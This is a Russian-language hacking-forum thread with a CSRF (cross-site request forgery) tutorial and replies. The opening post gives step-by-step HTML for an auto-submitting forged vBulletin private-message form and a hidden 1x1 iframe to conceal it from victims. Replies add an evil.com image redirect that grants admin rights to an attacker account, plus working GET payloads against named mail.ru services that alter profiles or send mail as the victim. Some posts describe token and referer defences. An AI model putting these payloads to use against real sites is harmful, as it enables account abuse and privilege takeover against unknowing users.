Старый 02.08.2010, 22:19   #1
M@ZAX@KEP
 
Аватар для M@ZAX@KEP
 
Регистрация: 24.07.2010
Сообщений: 139
Репутация: 5
Post XSRF - Cross Site Request Forgery

XSRF или CSRF

XSRF - Cross Site Request Forgery (X и C взаимозаменяются по аналогии с xss, но можно встретить и название CSRF), а по-русски - межсайтовая подстановка запроса.
Уязвимость возникает вследствие отсутствия проверки источника данных, передаваемых скриптам сервера. Позволяет передать заранее сформированные данные форм ввода (напр. отправка сообщений, смена подписи\аватара) с другого узла скриптам атакуемого ресурса. При этом передаются те же данные, которые мог бы ввести сам пользователь. Но никогда не стал бы
Может не очень правильно объяснил, ибо своими словами Короче, теперь поясню суть доступнее. Есть на форуме возможность отправки сообщений. Можно сформировать такой html-код, что при его открытии в браузере, пользователь, запустивший код (и при этом авторизованный на том самом форуме), сам того не зная, отправляет админу матерные сообщения... ну это только например, всё зависит от нашей фантазии.


Проводим XSRF-атаку

Суть формировки запроса к атакуемому ресурсу заключается в сохранении кода формы отправки запроса (1), подстановки в неё наших значений (2) и создания кода автоисполнения запроса (3). Далее разберём каждый пункт подробно. В качестве жертвы выберем сами себя, можете проверять на любом форуме, где вы зарегестрированы. Что будете с собой делать - решать вам) Можно отправить самому себе сообщение для начала, а можно и подпись поменять на "я идиот" (но это уже для врагов, а не для себя).
Я буду разбирать всё на примере отправки сообщения самому себе на форуме под булкой (VBulletin).

1) Сохраняем нужный код. Если решили отправлять сообщения, зайдём на страницу отправки (мой кабинет -> новое сообщение) и откроем исходный код. Отсюда нам понадобится не всё, а только форма отправки сообщения (заключена в теги <fоrm></fоrm>). Ищем в исходном коде слова, находящиеся в форме отправки где-нибудь в начале. Я буду искать текст "Список получателей". Тут же рядом находится открывающий тег <form. Теперь так же поиском находим тег </form>и копируем в текстовик всё, что между ними. У меня получилось вот такое безобразие.
2) Подставляем значения (формируем запрос). Надеюсь, все читающие знают html, поэтому без проблем вкурят, по какому принципу будут выполнять подстановку в будущем самостоятельно.
Итак, обратимся к странице отправки сообщения. Как видим, нам нужно заполнить 3 поля: получатель (1), тема сообщения (2) и сам текст (3). Давайте найдём их в сохранённом коде
Вот получатели:
Код:
<div>Список получателей</div>
      <div id="pmrecips"><textarea id="pmrecips_txt" name="recipients" rows="1" cols="50" tabindex="1">M@ZAX@KEP</textarea></div>
Обратите внимание, что кроме textarea так же распространены простые формы ввода (input type="text"), где значение (содержимое формы) вписывается в параметр value, как в случае с заголовком сообщения:
Код:
<td class="smallfont" colspan="3">Заголовок:</td>
   </tr>
   <tr>
    <td><input type="text" class="bginput" name="title" value="ZADROT_POWER FOREVER!" size="50" maxlength="85" tabindex="1" /></td>
А вот и само сообщение:
Код:
<textarea name="message" id="vB_Editor_001_textarea" rows="10" cols="60" style="display:block; width:380px; height:250px" tabindex="1" dir="ltr">Здесь текст сообщения. Какой хотите))</textarea>
3) Делаем автовыполнение запроса.
Для этого в конец нашего кода нужно дописать такую строку:
Код:
</body></html>
Чтобы закрыть все теги, а в самое начало добавим строку
Код:
<html><body onload="document.forms['NAME'].submit();">
, где NAME нужно заменить на имя вашей формы.
Пример: если тег формы в начале был такой:
Код:
<form action="private.php?do=insertpm&pmid=0" method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">
, то имя формы здесь vbform (name="vbform"), то есть NAME заменяем на vbform.
Этот код будет выполнять действие submit сразу после загрузки формы.
Чуть не забыл самую важную вещь! Для того, чтобы форма находила скрипт-обработчик, куда нужно отправлять все данные формы, нужно в теге формы атрибуту action прописать полный путь до скрипта. То есть сейчас мы имеем относительный путь:
<form action="private.php?do=insertpm&pmid=0" method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">[/quote], а нужен нам полный:
Цитата:
<form action="https://site.com/private.php?do=insertpm&pmid=0" method="post" name="vbform" onsubmit="return vB_Editor['vB_Editor_001'].prepare_submit(this.title.value, 0)">
Это очень частая ошибка! Сам в этом только что убедился, потому что наступил на эти грабли
Думаю, в этом не было абсолютно ничего сложного. Сохраняем наш код в файлс расширением .html и будем проверять, сработает ли атака

Тестирование

Удостоверьтесь, что вы авторизованы на форуме и просто откройте в браузере только что сохранённый файл. Ждём пару секунд до полной загрузки и... после отправки сообщения нас перекидывает обратно в личный кабинет (нет, это не мы сделали, так форум устроен) и тут же результат: входящее сообщение от самого себя. Как видим, всё прекрасно работает!

Практическое применение

Итак, у нас всё заработало и сами себе мы сообщение отправить можем. Это конечно хорошо, но "Как это можно использовать?" - спросите вы. Да элементарно, Ватсон! xD Заливаем нашу страничку на любой хостинг и каждый, кто пройдёт по ссылке на нашу страницу, будет выполнять этот код (при услови, что он авторизован на сайте, чтобы выполнить запрос) и отправлять нам это сообщение. Нетрудно догадаться, что, модифицировав код под наши конкретные нужды, можно в принципе заставить пользователя совершить почти любое действие. Всё зависит от атакуемого ресурса, ваших целей и фантазии! =) Суть уловили? Врубайте фантазию и смекалку!

//Update (от 04.03.2011) Спасибо SokoL_у за ценные замечания.
{
Обрадовались? Рано. =) Залейте ту же страницу на локалхост или любой хостинг и зайдите на неё. Работает? Хрен. Анализируем наши ошибки. Внимательно посмотрите, какие данные передаются "атакуемому" серверу из формы отправки сообщения. Особенно нас будет интересовать то, чего не видно простым смертным. Скрытые поля:
Код:
<input type="hidden" name="do" value="process" />
<input type="hidden" name="quicksearch" value="1" />
<input type="hidden" name="childforums" value="1" />
<input type="hidden" name="exactname" value="1" />
<input type="hidden" name="s" value="" />
<input type="hidden" name="securitytoken" value="1299250106-6d087ee2302078af38a29dcec38647831288b404" />
Здесь name="securitytoken" как бы намекает (; Включив соображалку, можно догадаться, что значение поля генерируется при запросе формы отправки сообщения и сверяется каждый раз при передаче данных формы серверу. Ясен пень, значение рандомное и уникальное для каждого юзера. Посему, наш скрипт с XSRF здесь отработает только 1 раз... и только под нашим же аккаунтом.

Сделали важный вывод - перед тем, как хакать интернеты, проверяем форму на налчие подобных скрытых полей. Ну и не забывваем реализовывать подобный механизм идентификации пользователя при написании собственных веб-приложений. Самым очевидным решением является использование в качестве контрольного значения идентификатора сессии. Жаль только, что печеньку можно отсниффать, так что для искушённых есть более надёжные методы.

Однако это не значит, что всё вышенаписанное - бесполезный бред. При нормальных условиях (атм. давление 101 кПа и t=273 Кельвина ;D), отсутствии механизма проверки пользователя, данная атака будет осуществима.
}

Теперь пару слов о том, как сделать код менее палевным, чтобы его не было видно жертве.
Создайте файл .html с таким содержимым:
Код:
<html>
<title>
Заголовок страницы
</title>
<bоdу background="http://адрес к картинке/">
<ifrаmе src="1.html" width="1" height="1"></ifrаmе>
</bоdу></html>
1.html замените на имя вашего файла с XSRF-кодом и залейте оба файла в одну папку на хостинге. Теперь, дав ссылку жертве на последний файл, она будет смотреть картинку, а действие уже выполнится. Суть заключена в теге ifrаmе. По сути вы можете вставить этот код в любой html файл для незаметного выполнения атаки:
Код:
<iframe src="http://yourhost.ru/xsrf.html" width="1" height="1"></ifrаmе>

Последний раз редактировалось M@ZAX@KEP; 21.07.2012 в 03:04.. Причина: Update
M@ZAX@KEP вне форума   Ответить с цитированием
Старый 03.08.2010, 02:37   #2
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Добавлю.

Цитата:
Уязвимость возникает вследствие отсутствия проверки источника данных, передаваемых скриптам сервера.
Для тех, кто ранее не был знаком с CSRF и не понял:
Уязвимость возникает, когда браузер жертвы по инициативе злоумышленника делает POST или GET запросы с заранее подставленными параметрами. При этом, если пользователь залогинен с использованием механизма cookie, либо HTTP Auth, либо с разграничением доступа по ip адресу, при остутсвии особых проверок серверные скрипты воспринимают такие запросы, как если бы они были сделаны жертвой намеренно, так как куки и параметры http auth передаются серверу браузером жертвы в обычном порядке.

Особые проверки, введённые специально для нейтрализации CSRF:
-специальное input type=hidden поле, значение которого отправляется с каждой формой, и не может быть известно злоумышленнику (генерится рандомно для сессии либо для каждой страницы). Сушите вёсла, либо ищите XSS.
-то же самое, но в адресной строке. Старая и неэффективная методика, т.к. злоумышленник может взять нужное значение из поля referer, когда жертва обратится к его скрипту.
-проверка на http referer. Если сделано небрежно, иногда можно обойти.
-подтверждение изменений введённым вручную паролем.

Построить систему, полностью защищённую от CSRF, практически нереально. В основном закрывают очевидные вещи, такие, как смена пароля, но ищущий всегда найдёт. Например, раньше все веб-мейлы были уязвимы к установке фильтров пересылки через CSRF (что давало прозрачное дублирование входящей почты на аккаут злоумышленника)

Часто найденные POST CSRF можно трансформировать в GET - обязательно проверяйте это.
Если get запрос проходит - это даёт возможность использовать фокус с картинкой, например, вы шлёте админу сайта superforum.com ЛС следующего содержания:
Цитата:
Привет! Я дибил!
При этом http://evil.com/images/hello.jpg является одноразовым 302 редиректом на http://superforum.com/admin.php?action=make_admin&user=eviluser
При повторном запросе, если вы не ленивы, выдавайте картинку.

В момент, когда админ прочитает эту ЛС, вы получите права админа, при этом даже самому параноидальному и продвинутому админу обнаружить атаку не удастся - следов вы не оставили.
tipsy вне форума   Ответить с цитированием
Старый 29.08.2010, 22:52   #3
life_glider
 
Аватар для life_glider
 
Регистрация: 06.07.2010
Сообщений: 43
Репутация: 17
Cool

раз такая пьянка то здесь наверно стоит публиковать xsrf на "интернет-гигантах"
otvet.mail.ru
что можно: подделать get запрос подписывания на вопрос
код:
Код:
<img src="http://otvet.mail.ru/doit?action=authaddwatch&qid={id}">

МОЙ МИР
my.mail.ru
что можно: подделать get запрос добавления школы/да и любой инфы
код:

Код HTML:
<img src="http://my.mail.ru/my/history?insert=1&country_id=39&city_id=2984&city_name=&institute_id=72448&supname=&startdate=1940&enterdate=1940&leavedate=1952&type=school" />


PS:
Цитата:
Построить систему, полностью защищённую от CSRF, практически нереально
я не понял. поясните пожалуйста. почему нереально?

Цитата:
В момент, когда админ прочитает эту ЛС, вы получите права админа, при этом даже самому параноидальному и продвинутому админу обнаружить атаку не удастся - следов вы не оставили.
а реферер в логах это не след(хоть и маленький)?
__________________
Вы все такие классные
life_glider вне форума   Ответить с цитированием
Старый 16.09.2010, 14:27   #4
z0mbie
 
Регистрация: 05.08.2010
Сообщений: 68
Репутация: 0
По умолчанию

Попробовал сделать в булке мне пишет:
Пожалуйста, заполните поля темы и текста сообщения. Вернитесь назад, заполните поля и попробуйте снова.
Пожалуйста, заполните поля темы и текста сообщения. Вернитесь назад, заполните поля и попробуйте снова.


Цитата:
Вот получатели:
Код:
<div>Список получателей</div>
<div id="pmrecips"><textarea id="pmrecips_txt" name="recipients" rows="1" cols="50" tabindex="1">M@ZAX@KEP</textarea></div>
Обратите внимание, что кроме textarea так же распространены простые формы ввода (input type="text"), где значение (содержимое формы) вписывается в параметр value, как в случае с заголовком сообщения:
Код:
<td class="smallfont" colspan="3">Заголовок:</td>
</tr>
<tr>
<td><input type="text" class="bginput" name="title" value="ZADROT_POWER FOREVER!" size="50" maxlength="85" tabindex="1" /></td>
А вот и само сообщение:
Код:
<textarea name="message" id="vB_Editor_001_textarea" rows="10" cols="60" style="display:block; width:380px; height:250px" tabindex="1" dir="ltr">Здесь текст сообщения. Какой хотите))</textarea>
и вот это куда вставлять?
z0mbie вне форума   Ответить с цитированием
Старый 16.09.2010, 15:29   #5
M@ZAX@KEP
 
Аватар для M@ZAX@KEP
 
Регистрация: 24.07.2010
Сообщений: 139
Репутация: 5
По умолчанию

Для начала, наверное, выучить html, потом заглянуть в исходник страницы (а точнее формы отправки) и наступит озарение)) Это не вставлять, это я привёл примеры, фрагменты кода, где находится тема, где получатели, где сама мессага. Юзай поиск по исходному.
M@ZAX@KEP вне форума   Ответить с цитированием
Старый 16.09.2010, 17:16   #6
z0mbie
 
Регистрация: 05.08.2010
Сообщений: 68
Репутация: 0
По умолчанию

Спасибо, разобрался, статья отличная!

Только как вот обойти это?:
Цитата:
Ваш запрос не может быть обработан, так как маркер безопасности неверный.

Если эта ошибка произошла после выполнения обычного действия и при повторном выполнении действий она не исчезает, то, пожалуйста, сообщите администратору об этом, не забыв указать максимально полное описание действий, которые привели к её возникновению
z0mbie вне форума   Ответить с цитированием
Старый 17.09.2010, 13:50   #7
tipsy
 
Аватар для tipsy
 
Регистрация: 10.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Цитата:
Сообщение от life_glider Посмотреть сообщение
я не понял. поясните пожалуйста. почему нереально?
Это моё субъективное мнение, и чтобы объяснить, как я к нему пришёл, понадобится написать несколько страниц текста.
Проще привести пример.
Я вставил картинку, которая снимает флажок "есть новые сообщения" с темы "BFQuest".


С одной стороны - мелочь, а с другой - я повлиял на форумный интерфейс всех посетивших эту тему пользователей неожиданным и нежелательным образом против их воли, то есть это CSRF.
Если ставить задачу "защититься от CSRF на 100%", это надо фиксить.
Спроси себя - почему булковцы это не прикрыли - и ты получишь ответ на свой вопрос.
Цитата:
а реферер в логах это не след(хоть и маленький)?
Твой сайт в реферер не попадёт, но номер ЛСки там будет, да.
Я писал о том, чтобы не вызвать подозрений в момент атаки.

Если посмотреть на адрес незагрузившейся картинки в предыдущем абзаце - атака раскрывается, а при использовании метода, о котором я писал - нет.
tipsy вне форума   Ответить с цитированием
Старый 17.09.2010, 14:14   #8
M@ZAX@KEP
 
Аватар для M@ZAX@KEP
 
Регистрация: 24.07.2010
Сообщений: 139
Репутация: 5
По умолчанию

z0mbie, это репу накручивать хотел, шкодник? xD
Маркер безопасности (речь о vBulletin) - скрытый параметр в форме, который генерируется сервером рандомно и назначается каждому юзеру. Для выполнения какого-то действия нужно вернуть вместе с формой то же самое знаение этого параметра. Получается подтверждение того, что действие выполненео именно самим пользователем. Так как угадать код этот мы не можем, то и провести XSRF не получится.

ЗЫ если кто-то знает способ составить запрос, который вернёт нужный код безопасности и атака пройдёт, буду крайне признателен))
_________________________________________

Кстати, прежде чем спросить, лучше бы тему внимательно почитал =) (да и я тоже перед тем как ответить xD)
Цитата:
Сообщение от tipsy
Особые проверки, введённые специально для нейтрализации CSRF:
-специальное input type=hidden поле, значение которого отправляется с каждой формой, и не может быть известно злоумышленнику (генерится рандомно для сессии либо для каждой страницы). Сушите вёсла, либо ищите XSS.
M@ZAX@KEP вне форума   Ответить с цитированием
Старый 17.09.2010, 19:55   #9
life_glider
 
Аватар для life_glider
 
Регистрация: 06.07.2010
Сообщений: 43
Репутация: 17
По умолчанию

Mail.ru - можно подделать отправку любого письма на любой адрес(get - запрос)
Код HTML:
<html>
<head>
</head>
<body>
<img src="http://win.mail.ru/cgi-bin/sentmsg?formessage=1&sendauto=0&draftauto=0&avatar=0&plainmode=0&selection=0&To=admin@mail.ru&Subject=hi all!!!&cf_loader=on&Body=hi&Priority=3&from_ch=r&copy=yes&to_ch=e&send=send&ReturnPath=win.mail.ru/cgi-bin"
alt="sended"></img>
</body>
</html>
__________________
Вы все такие классные
life_glider вне форума   Ответить с цитированием
Старый 01.11.2011, 10:01   #10
Demon1X
 
Аватар для Demon1X
 
Регистрация: 10.07.2010
Сообщений: 56
Репутация: 5
По умолчанию

1.
Цитата:
2) Делаем автовыполнение запроса.
Исправь это уже 3 пункт

2.
Цитата:
Код:
<ifrаmе src="http://yourhost.ru/xsrf.html" width="1" height="1"></ifrаmе>
в название тега iframe русские буквы? не работает с копипаста, это ошибка или защита от дурака?

ЗЫ спасибо за статью, оказалось полезной.
Demon1X вне форума   Ответить с цитированием
Ответ

Метки
csrf, xsrf

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot